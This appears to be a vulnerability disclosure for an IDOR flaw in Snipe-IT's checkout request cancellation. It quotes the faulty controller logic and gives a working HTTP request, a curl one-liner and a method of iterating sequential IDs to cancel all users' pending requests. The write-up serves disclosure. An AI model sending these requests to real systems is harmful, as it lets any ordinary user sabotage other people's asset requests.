Snipe-IT Checkout Request Cancellation IDOR

The vulnerable logic resides in ViewAssetsController::getRequestItem() (app/Http/Controllers/ViewAssetsController.php). The cancel_by_admin path segment short-circuits the ownership check, and requestingUser is passed directly to the cancellation routine:

if (($item_request = $item->isRequestedBy($user)) || $cancel_by_admin) {
$item->cancelRequest($requestingUser);

After authenticating as any standard (non-admin) user and obtaining a valid CSRF token, the attacker cancels a specific victim's request by sending:

POST /account/request/asset/{assetId}/1/{victimUserId} HTTP/1.1
Host: <snipe-it-host>
Cookie: <attacker session cookie>
Content-Type: application/x-www-form-urlencoded

_token=<attacker CSRF token>

The 1 in the path sets cancel_by_admin to a truthy value, bypassing the ownership check, and {victimUserId} identifies whose request is canceled. An equivalent minimal request:

curl -b cookies.txt -X POST "http://TARGET:8000/account/request/asset/1/1/2" -d "_token=CSRF_TOKEN"

Because asset and user IDs are sequential, iterating over combinations (POST /account/request/asset/{1..N}/1/{1..M}) blindly cancels all pending checkout requests without prior knowledge of valid IDs. The endpoint returns HTTP 302 or HTTP 500 regardless of whether a matching request existed; the cancellation is committed to the database before the notification step, so the response code does not indicate success. Confirmation requires inspecting the database:

SELECT id, user_id, canceled_at FROM checkout_requests WHERE canceled_at IS NOT NULL;